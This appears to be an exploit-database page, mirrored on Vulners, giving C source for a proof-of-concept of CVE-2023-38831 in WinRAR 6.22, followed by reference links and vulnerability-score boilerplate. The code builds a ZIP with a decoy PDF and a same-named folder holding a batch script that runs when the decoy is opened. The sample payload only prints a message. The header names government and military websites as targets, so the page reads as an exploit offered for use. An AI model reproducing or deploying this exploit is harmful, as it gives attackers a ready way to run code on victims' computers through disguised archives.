Lucene search
K

WinRAR version 6.22 - Remote Code Execution via ZIP archive

🗓️ 28 Mar 2024 00:00:00Reported by E1 CodersType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 328 Views

WinRAR version 6.22 - Remote Code Execution via ZIP archive. Exploit uses CVE-2023-38831 to add malicious files and execute arbitrary code

Related
Code
################################################################################################
# Exploit Title :  EXPLOIT WinRAR version 6.22 Vulnerability CVE-2023-38831 #
# #
# Author : E1.Coders #
# #
# Contact : E1.Coders [at] Mail [dot] RU #
# #
# Security Risk : High #
# #
# Description : All target's GOV & Military websites #
# #
################################################################################################
# #
# Expl0iTs: #
 
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "zip.h"
#define PDF_FILE "document.pdf"
#define FOLDER_NAME "document.pdf\\"
#define SCRIPT_FILE "script.bat"
#define ZIP_FILE "exploit.zip"
 
int main(void) {
    zipFile zf = zipOpen(ZIP_FILE, APPEND_STATUS_CREATE);
    if (zf == NULL) {
        printf("Error opening ZIP file\n");
        return -1;
    }
    zip_fileinfo zfi;
    memset(&zfi, 0, sizeof(zfi));
    if (zipOpenNewFileInZip(zf, PDF_FILE, &zfi, NULL, 0, NULL, 0, NULL, Z_DEFLATED, Z_DEFAULT_COMPRESSION) != ZIP_OK) {
        printf("Error adding PDF file to ZIP file\n");
        zipClose(zf, NULL);
        return -1;
    }
    FILE *fp = fopen(PDF_FILE, "rb");
    if (fp == NULL) {
        printf("Error opening PDF file\n");
        zipCloseFileInZip(zf);
        zipClose(zf, NULL);
        return -1;
    }
    char buffer[1024];
    int bytes_read;
    while ((bytes_read = fread(buffer, 1, sizeof(buffer), fp)) > 0) {
        if (zipWriteInFileInZip(zf, buffer, bytes_read) < 0) {
            printf("Error writing PDF file to ZIP file\n");
            fclose(fp);
            zipCloseFileInZip(zf);
            zipClose(zf, NULL);
            return -1;
        }
    }
    fclose(fp);
    zipCloseFileInZip(zf);
    if (zipOpenNewFileInZip(zf, FOLDER_NAME, &zfi, NULL, 0, NULL, 0, NULL, Z_DEFLATED, Z_DEFAULT_COMPRESSION) != ZIP_OK) {
        printf("Error adding folder to ZIP file\n");
        zipClose(zf, NULL);
        return -1;
    }
    zipCloseFileInZip(zf);
    char script_name[256];
    sprintf(script_name, "%s%s", FOLDER_NAME, SCRIPT_FILE);
    if (zipOpenNewFileInZip(zf, script_name, &zfi, NULL, 0, NULL, 0, NULL, Z_DEFLATED, Z_DEFAULT_COMPRESSION) != ZIP_OK) {
        printf("Error adding script file to ZIP file\n");
        zipClose(zf, NULL);
        return -1;
    }
    char script_content[] = "@echo off\nstart cmd /c \"echo You have been exploited by CVE-2023-38831 && pause\"\n";
    if (zipWriteInFileInZip(zf, script_content, strlen(script_content)) < 0) {
        printf("Error writing script file to ZIP file\n");
        zipCloseFileInZip(zf);
        zipClose(zf, NULL);
        return -1;
    }
    zipCloseFileInZip(zf);
 
    zipClose(zf, NULL);
 
    printf("ZIP file created successfully\n");
    return 0;
}

https://nvd.nist.gov/vuln/detail/CVE-2023-38831
https://nvd.nist.gov/vuln/detail/CVE-2023-38831
https://github.com/HDCE-inc/CVE-2023-38831
https://www.cvedetails.com/cve/CVE-2023-38831/
https://www.logpoint.com/en/blog/emerging-threats/cve-2023-38831-winrar-decompression-or-arbitrary-code-execution/
https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Exploit:Win32/CVE-2023-38831
http://packetstormsecurity.com/files/174573/WinRAR-Remote-Code-Execution.html
https://blog.google/threat-analysis-group/government-backed-actors-exploiting-winrar-vulnerability/
https://news.ycombinator.com/item?id=37236100
https://www.bleepingcomputer.com/news/security/winrar-zero-day-exploited-since-april-to-hack-trading-accounts/
https://www.group-ib.com/blog/cve-2023-38831-winrar-zero-day/
https://hdce.medium.com/cve-2023-38831-winrar-zero-day-poses-new-risks-for-traders-684911befad2
 

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

28 Mar 2024 00:00Current
8.2High risk
Vulners AI Score8.2
CVSS 3.17.8
EPSS0.93878
SSVC
328